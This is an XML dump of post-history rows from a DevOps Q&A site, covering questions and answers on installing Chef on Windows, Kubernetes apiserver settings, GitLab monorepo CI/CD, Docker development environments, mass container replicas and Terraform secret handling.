  <row Id="7930" PostHistoryTypeId="5" PostId="2532" RevisionGUID="f2b84ac1-2265-42e7-972b-7ca01236a1b7" CreationDate="2017-11-12T09:25:34.520" UserId="739" Comment="add windows tag and copy edit" Text="I am using Windows 8.1.  Which chef do I need to install to cover all chef modes like workstation, node, and chef-server?&#xD;&#xA;I want all three of these in my Windows 8.1.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7931" PostHistoryTypeId="6" PostId="2532" RevisionGUID="f2b84ac1-2265-42e7-972b-7ca01236a1b7" CreationDate="2017-11-12T09:25:34.520" UserId="739" Comment="add windows tag and copy edit" Text="&lt;chef&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7932" PostHistoryTypeId="24" PostId="2532" RevisionGUID="f2b84ac1-2265-42e7-972b-7ca01236a1b7" CreationDate="2017-11-12T09:25:34.520" Comment="Proposed by 739 approved by -1 edit id of 526" ContentLicense="CC BY-SA 3.0" />
  <row Id="7933" PostHistoryTypeId="5" PostId="2532" RevisionGUID="ff9e1f0a-1e06-4c51-aea8-56274798b84d" CreationDate="2017-11-12T09:25:34.520" UserId="40" Comment="Improve title" Text="I am using Windows 8.1.  Which Chef do I need to install to cover all Chef modes like workstation, node, and chef-server?&#xD;&#xA;&#xD;&#xA;I want all three of these in my Windows 8.1.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7934" PostHistoryTypeId="4" PostId="2532" RevisionGUID="ff9e1f0a-1e06-4c51-aea8-56274798b84d" CreationDate="2017-11-12T09:25:34.520" UserId="40" Comment="Improve title" Text="Which Chef software do we need to install for Windows?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7935" PostHistoryTypeId="2" PostId="2537" RevisionGUID="5980c4d8-f129-45f1-8793-90e86919ae69" CreationDate="2017-11-12T14:04:55.253" UserId="210" Text="https://github.com/kubernetes/kubernetes/blob/master/cluster/centos/master/scripts/apiserver.sh&#xD;&#xA;&#xD;&#xA;    # File created by Chef! Any local changes will be overwritten next Chef run!&#xD;&#xA;    &#xD;&#xA;    # Insecure kube configuration parameters go under here when node['kubernetes']['secure']['enabled'] == 'false'&#xD;&#xA;    &lt;% if node['kubernetes']['secure']['enabled'] == 'false' -%&gt;&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--insecure-bind-address=0.0.0.0&quot;&#xD;&#xA;    KUBE_API_PORT=&quot;--insecure-port=&lt;%= @kubernetes_api_port %&gt;&quot;&#xD;&#xA;    KUBELET_PORT=&quot;--kubelet_port=&lt;%= @kubelet_port %&gt;&quot;&#xD;&#xA;    KUBE_ETCD_SERVERS=&quot;--etcd_servers=http://&lt;%= @kubernetes_master %&gt;:&lt;%= @etcd_client_port %&gt;&quot;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=&lt;%= @kubernetes_network %&gt;&quot;&#xD;&#xA;    KUBE_ADMISSION_CONTROL=&quot;--admission_control=NamespaceLifecycle,NamespaceExists,LimitRanger,SecurityContextDeny,ResourceQuota&quot;&#xD;&#xA;    &lt;% end -%&gt;&#xD;&#xA;    &#xD;&#xA;    # Secure kube configuration parameters go under here when node['kubernetes']['secure']['enabled'] == 'true'&#xD;&#xA;    &lt;% if node['kubernetes']['secure']['enabled'] == 'true' -%&gt;&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--bind-address=0.0.0.0 --insecure-bind-address=127.0.0.1 &quot;&#xD;&#xA;    KUBE_API_PORT=&quot;--secure-port=&lt;%= @kubernetes_secure_api_port %&gt; --insecure-port=&lt;%= @kubernetes_api_port %&gt;&quot;&#xD;&#xA;    KUBELET_PORT=&quot;--kubelet_port=&lt;%= @kubelet_port %&gt;&quot;&#xD;&#xA;    KUBE_ETCD_SERVERS=&quot;--etcd-config=/etc/kubernetes/etcd.client.conf&quot;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=&lt;%= @kubernetes_network %&gt;&quot;&#xD;&#xA;    KUBE_ADMISSION_CONTROL=&quot;--admission_control=NamespaceLifecycle,NamespaceExists,LimitRanger,ResourceQuota --client-ca-file=&lt;%= @etcd_cert_dir %&gt;/client.ca.crt --tls-cert-file=&lt;%= @etcd_cert_dir %&gt;/client.srv.crt --tls-private-key-file=&lt;%= @etcd_cert_dir %&gt;/client.srv.key --kubelet-certificate-authority=&lt;%= @etcd_cert_dir %&gt;/client.ca.crt --kubelet-client-certificate=&lt;%= @etcd_cert_dir %&gt;/client.srv.crt --kubelet-client-key=&lt;%= @etcd_cert_dir %&gt;/client.srv.key&quot;&#xD;&#xA;    &lt;% end -%&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7936" PostHistoryTypeId="5" PostId="2537" RevisionGUID="6f2c9be5-0071-40b6-ae90-5a084b08a79b" CreationDate="2017-11-12T14:18:08.507" UserId="210" Comment="added 96 characters in body" Text="https://github.com/kubernetes/kubernetes/blob/master/cluster/centos/master/scripts/apiserver.sh&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt;     # Insecure kube configuration parameters go under here when node['kubernetes']['secure']['enabled'] == 'false'&#xD;&#xA;&gt;     &lt;% if node['kubernetes']['secure']['enabled'] == 'false' -%&gt;&#xD;&#xA;&gt;     KUBE_API_ADDRESS=&quot;--insecure-bind-address=0.0.0.0&quot;&#xD;&#xA;&gt;     ...&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Secure kube configuration parameters go under here when node['kubernetes']['secure']['enabled'] == 'true'&#xD;&#xA;&gt;     &lt;% if node['kubernetes']['secure']['enabled'] == 'true' -%&gt;&#xD;&#xA;&gt;     KUBE_API_ADDRESS=&quot;--bind-address=0.0.0.0 --insecure-bind-address=127.0.0.1 &quot;&#xD;&#xA;&gt;     ...&#xD;&#xA;&#xD;&#xA;It seems that the `KUBE_API_ADDRESS` will only listen to 0.0.0.0 if kubernetes has been secured.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7937" PostHistoryTypeId="2" PostId="2538" RevisionGUID="79dd9ded-c866-476e-80be-b1bafd262ea5" CreationDate="2017-11-12T14:25:16.453" UserId="210" Text="https://kubernetes.io/docs/getting-started-guides/centos/centos_manual_config/&#xD;&#xA;&#xD;&#xA;&gt;     # Address range to use for services&#xD;&#xA;&gt;     KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7938" PostHistoryTypeId="2" PostId="2539" RevisionGUID="003e0399-3cf8-451f-b8da-86f4da7003bf" CreationDate="2017-11-12T14:34:33.230" UserId="210" Text="According to [this Q&amp;A][1] and [this code][2] the `--portal_net` was renamed to `--service-cluster-ip-range` since version 0.18.&#xD;&#xA;&#xD;&#xA;&gt;     # --service-cluster-ip-range=&lt;nil&gt;: A CIDR notation IP range from which to assign service cluster IPs.&#xD;&#xA;&gt;     # This must not overlap with any IP ranges assigned to nodes for pods.&#xD;&#xA;&gt;     KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=${SERVICE_CLUSTER_IP_RANGE}&quot;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/issues/9040&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/96fecb2833c47b75267581cc4587a653f364268e/cluster/centos/master/scripts/apiserver.sh#L61&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7939" PostHistoryTypeId="2" PostId="2540" RevisionGUID="89703396-8076-408a-8ec2-d24d06efa5bd" CreationDate="2017-11-12T15:57:33.477" UserId="707" Text="&gt; What could be done to help DevOps Engineers feel less like a lone&#xD;&#xA;&gt; wolf?&#xD;&#xA;&#xD;&#xA;To paraphrase - **what can a DevOps Engineer do *himself*/*herself* to feel less like a lone wolf?**&#xD;&#xA;&#xD;&#xA;Lack of culture and management support is only one part of the equation. The other part is in my opinion that the detail DevOps knowledge often refers to complex contexts and it is important to have advice and reference to working examples.&#xD;&#xA;&#xD;&#xA;Therefore - do not feel like a lone wolf; participate in DevOps communities like this one here or tool-specific groups and GitHub - the feeling is at least then you are not the only lone wolf ;-)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7941" PostHistoryTypeId="50" PostId="1511" RevisionGUID="dfce4b54-372c-4b1e-8b56-fbe4de875b45" CreationDate="2017-11-13T06:02:48.133" UserId="-1" />
  <row Id="7942" PostHistoryTypeId="2" PostId="2541" RevisionGUID="99121427-3524-4843-b0dc-4e58d82a4df9" CreationDate="2017-11-13T12:12:53.480" UserId="2945" Text="To clear which module you need to install &amp; where, just go through the terminology of chef at [chef.io][1]&#xD;&#xA;For workstation, you need to install [chefDK][2]  &#xD;&#xA;&#xD;&#xA;For node, you need to install [chefclient][3]&#xD;&#xA;&#xD;&#xA;For chef server, you need to install [chefserver][4] - not available for windows&#xD;&#xA;&#xD;&#xA;Note: Always use the stable and latest version of the above-mentioned components.Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/chef_overview.html&#xD;&#xA;  [2]: https://downloads.chef.io/chefdk&#xD;&#xA;  [3]: https://downloads.chef.io/chef&#xD;&#xA;  [4]: https://downloads.chef.io/chef-server" ContentLicense="CC BY-SA 3.0" />
  <row Id="7943" PostHistoryTypeId="50" PostId="1654" RevisionGUID="9793dbee-71da-4b5d-b423-b1b41c4e35b3" CreationDate="2017-11-13T14:07:30.300" UserId="-1" />
  <row Id="7944" PostHistoryTypeId="2" PostId="2542" RevisionGUID="946d08dd-0740-482d-b7ca-55f8ebf3449f" CreationDate="2017-11-13T14:19:05.303" UserId="5189" Text="I'm working on a project that consists of several different services in different languages (a React webapp, a Scala backend, some Python stuff etc). I currently have each of these services in separate repositories on Github, and build them separately using CircleCI. &#xD;&#xA;&#xD;&#xA;Some people seem to promote mono repos. As I'm planning to migrate the code over to Gitlab I wanted to take the opportunity to understand how this could be made into a monorepo. I have three questions:&#xD;&#xA;&#xD;&#xA;1. Assume I put all the services in the same Project (Gitlab repos are called Projects right?), can I then get the CI/CD system to build each component independently?&#xD;&#xA;&#xD;&#xA;2. Can I have Gitlab emit several images into my container registry?&#xD;&#xA;&#xD;&#xA;3. Assume I commit a change to one service, and want to make sure it works with my other services before I deploy, how do I best setup integration tests that condition the success of my commit on the interaction with my other services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7945" PostHistoryTypeId="1" PostId="2542" RevisionGUID="946d08dd-0740-482d-b7ca-55f8ebf3449f" CreationDate="2017-11-13T14:19:05.303" UserId="5189" Text="CI/CD for microservices in monorepo on Gitlab" ContentLicense="CC BY-SA 3.0" />
  <row Id="7946" PostHistoryTypeId="3" PostId="2542" RevisionGUID="946d08dd-0740-482d-b7ca-55f8ebf3449f" CreationDate="2017-11-13T14:19:05.303" UserId="5189" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;gitlab&gt;&lt;microservices&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7947" PostHistoryTypeId="2" PostId="2543" RevisionGUID="7760fdc4-ea38-4faf-8a5b-39b02da7a3ee" CreationDate="2017-11-13T15:31:29.033" UserId="4328" Text="Monorepos are nice because it eliminates the technical constraints between multiple projects. This does however open the door to other complications within your repository (naming conventions, cross-team dependencies, merge conflict increases, etc.). I do not have any experience with CircleCI, but I will provide some input based on other CI tools I have used. &#xD;&#xA;&#xD;&#xA; 1. I don't see any reason why you wouldn't be able to. In your CI/CD system, instead of referencing your individual source repositories, you will use your main monorepo as the source repository and then reference the specific project directory within it. &#xD;&#xA; 2. It looks like as of [GitLab version 9.1][1] this is supported.&#xD;&#xA; 3. In my opinion, this wouldn't be something that would happen on commit. You could do this, but I think it would slow down your development speed significantly and use up a lot of resources if you have many commits. The two key points to consider are:&#xD;&#xA;    &#xD;&#xA;1. Before every production release, you should run a full suite test on all projects in your infrastructure. This is the only way to be certain that all project dependencies are non-breaking.&#xD;&#xA;2. Tests/provisionings must run in parallel. By doing this, your full repository testing speed will be the length of the longest test/provisioning in your repository. (As a side effect, this puts an emphasis on speeding up your slowest test)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://gitlab.com/gitlab-org/gitlab-ce/issues/17801" ContentLicense="CC BY-SA 3.0" />
  <row Id="7948" PostHistoryTypeId="5" PostId="2522" RevisionGUID="737d1b81-828c-4a1f-a346-af74089ad868" CreationDate="2017-11-13T16:26:45.687" UserId="2845" Comment="added 297 characters in body" Text="I think the first flaw is in this sentence:&#xD;&#xA;&#xD;&#xA;&gt; He reports to the Development Manager, but works more closely with the&#xD;&#xA;&gt; Infrastructure Manager.&#xD;&#xA;&#xD;&#xA;DevOps is a cultural shift aiming at removing silos. If silos remain, then this engineer is whatever you want to name call him; an engineer doing operational development, an automation expert, a developer automating infrastructure - but this engineer is not a DevOps engineer.  &#xD;&#xA;In fact, [&quot;DevOps Engineer&quot; is not a real role][1], it's more a 'chapeau' as it can encompass developers, system administrators, QA testers and architects working in a common team.&#xD;&#xA;&#xD;&#xA;A problem I often see is that people fall into the buzzword usage of DevOps, seeing it as a job title, but they don't really understand what DevOps is. By viewing DevOps this way, they often end up isolated and feel alone, blaming failures and shortcomings on being a &quot;lone wolf&quot; without managerial and organizational buy-in.&#xD;&#xA;  &#xD;&#xA;As you describe it this engineer is the only one doing Ops in a Dev team. That doesn't make him a &quot;DevOps engineer&quot;. (Whatever that means in his organization) He's working in isolation because the job is presented as &quot;DevOps Engineer&quot; but it seems tha other people in his team doesn't wish to work on operations.&#xD;&#xA;&#xD;&#xA;Let's be honest, there will always be ops and dev, the main idea behind devops is sharing the responsibilities such that there's no handoff of a product from dev to ops or just supplying a platforms by ops for dev. The primary goal is bringing more collaboration into a team. Calling this role a &quot;DevOps Engineer&quot; is breaking this idea by suggesting in the name you can do both at the same level of expertise - which is rarely true.&#xD;&#xA;&#xD;&#xA;The first thing to do in my opinion would be to present the operational tools to the team and give everyone a basic knowledge on the tools, then transfer the responsibility of configure/code the operational tools to the whole team. The main idea behind this is moving from &quot;the one doing all the ops things&quot; to &quot;the one which supports and give references implementations to the team&quot;.&#xD;&#xA;&#xD;&#xA;This complements the other answers by providing something actionable in an simpler way as a first step than a management reorganization.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="7949" PostHistoryTypeId="2" PostId="2544" RevisionGUID="95c87668-dbe4-4f2f-acdd-c0e1bb1ad490" CreationDate="2017-11-13T20:26:49.277" UserId="5193" Text="I currently have a *managed Azure disk* created from a Azure disk snapshot of a *Kubernetes Persistent Volume* that no longer exists.&#xD;&#xA;&#xD;&#xA;I would like to know how to reuse the restored disk in the new 'PersistentVolumeClaim', otherwise Azure will create a new empty disk.&#xD;&#xA;&#xD;&#xA;My current K8s PersistentVolumeClaim config:&#xD;&#xA;&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: jenkins-master-vol-claim&#xD;&#xA;      annotations: &#xD;&#xA;        volume.beta.kubernetes.io/storage-class: managed-standard&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 10Gi" ContentLicense="CC BY-SA 3.0" />
  <row Id="7950" PostHistoryTypeId="1" PostId="2544" RevisionGUID="95c87668-dbe4-4f2f-acdd-c0e1bb1ad490" CreationDate="2017-11-13T20:26:49.277" UserId="5193" Text="Kubernetes on Azure, how do I reuse an existing disk in my PersistentVolumeClaim?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7951" PostHistoryTypeId="3" PostId="2544" RevisionGUID="95c87668-dbe4-4f2f-acdd-c0e1bb1ad490" CreationDate="2017-11-13T20:26:49.277" UserId="5193" Text="&lt;kubernetes&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7952" PostHistoryTypeId="4" PostId="2544" RevisionGUID="177aa32c-857a-4d78-94a0-23da8941cd9e" CreationDate="2017-11-13T20:44:00.673" UserId="5193" Comment="edited title" Text="Kubernetes on Azure, how do I reuse an existing disk in a new PersistentVolume?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7956" PostHistoryTypeId="2" PostId="2546" RevisionGUID="3a1d7002-1a33-42b6-b070-a36b20865f1a" CreationDate="2017-11-13T21:30:08.853" UserId="5189" Text="Every time I onboard a new person on my team I have to go through the same routine of installing everything, figuring out what changed since last time we onboarded someone etc. Not fun.&#xD;&#xA;&#xD;&#xA;I've heard about people maintaining docker containers with the development environment, but I'm not sure how to accomplish this.&#xD;&#xA;&#xD;&#xA;Let's say you work on a repository containing a React webapp. Our IDE of choice is IntelliJ. It'd be cool if a new dev would just get a container with all the necessary dev stuff installed. &#xD;&#xA;&#xD;&#xA;How do I make this happen?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7957" PostHistoryTypeId="1" PostId="2546" RevisionGUID="3a1d7002-1a33-42b6-b070-a36b20865f1a" CreationDate="2017-11-13T21:30:08.853" UserId="5189" Text="Developing inside a Docker image?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7958" PostHistoryTypeId="3" PostId="2546" RevisionGUID="3a1d7002-1a33-42b6-b070-a36b20865f1a" CreationDate="2017-11-13T21:30:08.853" UserId="5189" Text="&lt;docker&gt;&lt;containers&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7961" PostHistoryTypeId="2" PostId="2547" RevisionGUID="fcf16088-36dd-4353-b0aa-5829ee9c487c" CreationDate="2017-11-14T07:02:24.587" UserId="707" Text="If you are open to try other things than IntelliJ, there is for example Eclipse Che which runs in container. Ideally there will be plugins for other components of your DevOps toolchains.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7962" PostHistoryTypeId="2" PostId="2548" RevisionGUID="efa1392e-6668-48c0-accc-5e557a21117f" CreationDate="2017-11-14T09:48:57.430" UserId="446" Text="Immutable infrastructure is, in my mind, a different pattern to Configuration Management. While they can be used together, they approach problems by nature in two different ways.&#xD;&#xA;&#xD;&#xA;The concept of Immutable Artifacts has a long history, Unix systems have been using them for decades to deploy software packages. But once they were deployed the configuration files were changed so things became mutable. Idempotency provides some nice guarantees with mutable files, we can know when things have changed and only update things that need updating. However it doesn't solve all the problems of mutable objects, we still need to cater a seemingly infinite number of edge cases. Because things are mutable and we are being idempotent we need to establish first what changes need to be made, then execute them generally in a very specific order. When deploying software packages, particularly with zero down time deployments, we need to carefully orchestrate changes to prevent any requests being dropped.&#xD;&#xA;&#xD;&#xA;This complexity can ultimately be avoided by deploying immutable artifacts instead of mutating them in place, because we simply replace some object with another (whether it be a binary, or a container or a Virtual Machine), bring it into service and retire the old one. This is just one example of a zero down time deployment.&#xD;&#xA;&#xD;&#xA;With advancements in tooling to allow us to deploy immutable artifacts to thousands of systems in a very small amount of time we are seeing using immutable tools to manage systems as a lot more feasible than configuration management. However the tooling is not there yet and there is still a use case for both. I did [a talk][1] on this subject which explains the linear progression from fully mutable to fully immutable, it's a spectrum and each company will chose where best fits for them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=I3DuUzGC-SU" ContentLicense="CC BY-SA 3.0" />
  <row Id="7963" PostHistoryTypeId="2" PostId="2549" RevisionGUID="103b8235-5428-4f08-aa91-11bcc1e2b9a5" CreationDate="2017-11-14T11:24:39.923" UserId="2945" Text="&lt;br/&gt; &#xD;&#xA;   There are several ways to achieve it, depend on which one, you like.&lt;br/&gt;&#xD;&#xA;The most simple and easy is, get the docker image and create environment in it and save it for later, so when the member joins, you just need to start that image and whole environment is created &#xD;&#xA;FYI : &lt;br/&gt;[Docker for dev][1]&lt;br/&gt;&#xD;&#xA;or&lt;br/&gt;&#xD;&#xA;[Dev Environment][2]  &#xD;&#xA;&#xD;&#xA;NOTE: These links are for PHP you need to figure out for other languages that you prefer.&#xD;&#xA;Hope this helps&#xD;&#xA;  [1]: https://perchrunway.com/blog/2017-01-19-getting-started-with-docker-for-local-development&#xD;&#xA;  [2]: https://www.masterzendframework.com/docker-development-environment/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7964" PostHistoryTypeId="2" PostId="2550" RevisionGUID="c5f23a8b-7c63-47dc-8a6b-0ebde5888ce5" CreationDate="2017-11-14T11:57:09.700" UserId="5205" Text="What would be the best way to emulate (or really to instantiate) a large number of hosts / virtual machines / docker containers in the cloud. &#xD;&#xA;&#xD;&#xA;Assume I want to run a scenario where 10,000 hosts are running the same application. Is there a cloud service which provides the ability to  &quot;clone&quot; a single host to 10K instances? Is there a way to configure slight changes in those hosts (in terms of Geo location / IP / hostname / MAC address)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7965" PostHistoryTypeId="1" PostId="2550" RevisionGUID="c5f23a8b-7c63-47dc-8a6b-0ebde5888ce5" CreationDate="2017-11-14T11:57:09.700" UserId="5205" Text="Large number of host emulation" ContentLicense="CC BY-SA 3.0" />
  <row Id="7966" PostHistoryTypeId="3" PostId="2550" RevisionGUID="c5f23a8b-7c63-47dc-8a6b-0ebde5888ce5" CreationDate="2017-11-14T11:57:09.700" UserId="5205" Text="&lt;docker&gt;&lt;amazon-ec2&gt;&lt;cloud&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7967" PostHistoryTypeId="2" PostId="2551" RevisionGUID="1dc7f53c-0342-4a98-b740-e762227c6831" CreationDate="2017-11-14T12:15:57.450" UserId="707" Text="you create a Docker Swarm stack file:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    version: '3.1'&#xD;&#xA;    &#xD;&#xA;    services:   &#xD;&#xA;      ubuntu:&#xD;&#xA;        image: ubuntu # or your custom Docker image&#xD;&#xA;          deploy:&#xD;&#xA;            replicas: 10000&#xD;&#xA;&#xD;&#xA;Then, with `docker stack` you can run your 10000 Ubuntu's on one or - probably better in this case - a set of Swarm hosts. This could be bare metal or AWS. Enjoy!&#xD;&#xA;&#xD;&#xA;For MAC address is very interesting question which I hope other colleagues here can answer. Geolocation should be no problem as this is AFAIK a system setting - virtual OS does not implement a physical GPS sensor." ContentLicense="CC BY-SA 3.0" />
  <row Id="7968" PostHistoryTypeId="5" PostId="2550" RevisionGUID="67e810e7-0ab6-4f02-87a3-1b303e2926b9" CreationDate="2017-11-14T12:25:12.257" UserId="5205" Comment="deleted 1 character in body" Text="What would be the best way to emulate (or really to instantiate) a large number of hosts / virtual machines / docker containers in the cloud?&#xD;&#xA;&#xD;&#xA;Assume I want to run a scenario where 10,000 hosts are running the same application. Is there a cloud service which provides the ability to  &quot;clone&quot; a single host to 10K instances? Is there a way to configure slight changes in those hosts (in terms of Geo location / IP / hostname / MAC address)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7969" PostHistoryTypeId="50" PostId="1768" RevisionGUID="04ad9eba-c529-4108-bff0-ea2c25ba9adb" CreationDate="2017-11-14T13:13:48.653" UserId="-1" />
  <row Id="7970" PostHistoryTypeId="50" PostId="1508" RevisionGUID="bc0fd17c-c57d-4330-a40c-949bda5a05fc" CreationDate="2017-11-14T14:13:48.697" UserId="-1" />
  <row Id="7971" PostHistoryTypeId="5" PostId="2551" RevisionGUID="513bc451-5fc6-4a82-9d0e-62ef41d54d1e" CreationDate="2017-11-14T14:54:27.450" UserId="707" Comment="added 257 characters in body" Text="you create a Docker Swarm stack file:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    version: '3.1'&#xD;&#xA;    &#xD;&#xA;    services:   &#xD;&#xA;      ubuntu:&#xD;&#xA;        image: ubuntu # or your custom Docker image&#xD;&#xA;          deploy:&#xD;&#xA;            replicas: 10000&#xD;&#xA;&#xD;&#xA;Then, with `docker stack` you can run your 10000 Ubuntu's on one or - probably better in this case - a set of Swarm hosts. This could be bare metal or AWS. Enjoy!&#xD;&#xA;&#xD;&#xA;For MAC address is very interesting question which I hope other colleagues here can answer. Geolocation should be no problem as this is AFAIK a system setting - virtual OS does not implement a physical GPS sensor.&#xD;&#xA;&#xD;&#xA;[Docs][1] give an example how to set a fixed MAC address on `docker run` - possibly this can be translated to the stack YML file as well.&#xD;&#xA;&#xD;&#xA;    docker run --mac-address=&quot;..&quot; ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/run/#network-settings" ContentLicense="CC BY-SA 3.0" />
  <row Id="7972" PostHistoryTypeId="5" PostId="2544" RevisionGUID="48ebf41e-4448-41a7-aa4e-2461b6b607a6" CreationDate="2017-11-14T16:00:58.873" UserId="5193" Comment="deleted 2 characters in body" Text="I currently have a *managed Azure disk* created from a Azure disk snapshot of a *Kubernetes Persistent Volume* that no longer exists.&#xD;&#xA;&#xD;&#xA;I would like to know how to reuse the restored disk in a new 'PersistentVolumeClaim', otherwise K8s will request Azure to create a new empty disk.&#xD;&#xA;&#xD;&#xA;My current K8s PersistentVolumeClaim config:&#xD;&#xA;&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: jenkins-master-vol-claim&#xD;&#xA;      annotations: &#xD;&#xA;        volume.beta.kubernetes.io/storage-class: managed-standard&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 10Gi" ContentLicense="CC BY-SA 3.0" />
  <row Id="7973" PostHistoryTypeId="2" PostId="2552" RevisionGUID="a95d3a4b-1340-4035-9bd7-823e1cb1af03" CreationDate="2017-11-14T18:26:51.317" UserId="5207" Text="I have an Angular / Web Api 2 site that uses ui-router for SPA behavior and gulp for file transformations.  I've got an issue where when I release the site the user has to refresh their browser to view new content (usually).  I have cache busting implemented on my js/ css files, but it seems that the html views themselves are a problem.  At the same time I can't help feel like I'm missing something blatantly obvious here.  So... how do I get my tech stack to refresh the user's content (ex. when adding a new field to an existing form) so that the user receives the most up to date version of the site after release?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7974" PostHistoryTypeId="1" PostId="2552" RevisionGUID="a95d3a4b-1340-4035-9bd7-823e1cb1af03" CreationDate="2017-11-14T18:26:51.317" UserId="5207" Text="Site deploys, but content doesn't refresh" ContentLicense="CC BY-SA 3.0" />
  <row Id="7975" PostHistoryTypeId="3" PostId="2552" RevisionGUID="a95d3a4b-1340-4035-9bd7-823e1cb1af03" CreationDate="2017-11-14T18:26:51.317" UserId="5207" Text="&lt;release-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7976" PostHistoryTypeId="5" PostId="79" RevisionGUID="7e628518-e732-4762-b65c-8b204e7478fe" CreationDate="2017-11-14T20:04:29.630" UserId="739" Comment="formatting and security tag" Text="I would like to use the terraform [mysql provider][1] to keep a list of mysql users and grants handy for creating new test environments. The `.tf` and `.tfstate` files both seem to want to store the mysql passwords in plaintext.&#xD;&#xA;&#xD;&#xA;**Concerning .tf:**&#xD;&#xA;&#xD;&#xA;It is my understanding that `.tf` files live in revision control and are maintained by a team.  How does that practice differ when secrets are in the `.tf`? It is possible to encrypt these values at all?&#xD;&#xA;&#xD;&#xA;**Concerning .tfstate:**&#xD;&#xA;&#xD;&#xA;I can store the `.tfstate` securely somewhere after running terraform apply, but it would be preferable for this use case to not store it at all?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/mysql/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7977" PostHistoryTypeId="6" PostId="79" RevisionGUID="7e628518-e732-4762-b65c-8b204e7478fe" CreationDate="2017-11-14T20:04:29.630" UserId="739" Comment="formatting and security tag" Text="&lt;terraform&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7978" PostHistoryTypeId="24" PostId="79" RevisionGUID="7e628518-e732-4762-b65c-8b204e7478fe" CreationDate="2017-11-14T20:04:29.630" Comment="Proposed by 739 approved by -1 edit id of 527" ContentLicense="CC BY-SA 3.0" />
  <row Id="7979" PostHistoryTypeId="5" PostId="79" RevisionGUID="d8947128-f61e-4991-bad8-32bce03765d5" CreationDate="2017-11-14T20:04:29.630" UserId="40" Comment="Fix capitalisation" Text="I would like to use the Terraform [MySQL Provider][1] to keep a list of mysql users and grants handy for creating new test environments. The `.tf` and `.tfstate` files both seem to want to store the MySQL passwords in plaintext.&#xD;&#xA;&#xD;&#xA;**Concerning .tf:**&#xD;&#xA;&#xD;&#xA;It is my understanding that `.tf` files live in revision control and are maintained by a team.  How does that practice differ when secrets are in the `.tf`? It is possible to encrypt these values at all?&#xD;&#xA;&#xD;&#xA;**Concerning .tfstate:**&#xD;&#xA;&#xD;&#xA;I can store the `.tfstate` securely somewhere after running Terraform apply, but it would be preferable for this use case to not store it at all?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/mysql/index.html" ContentLicense="CC BY-SA 3.0" />
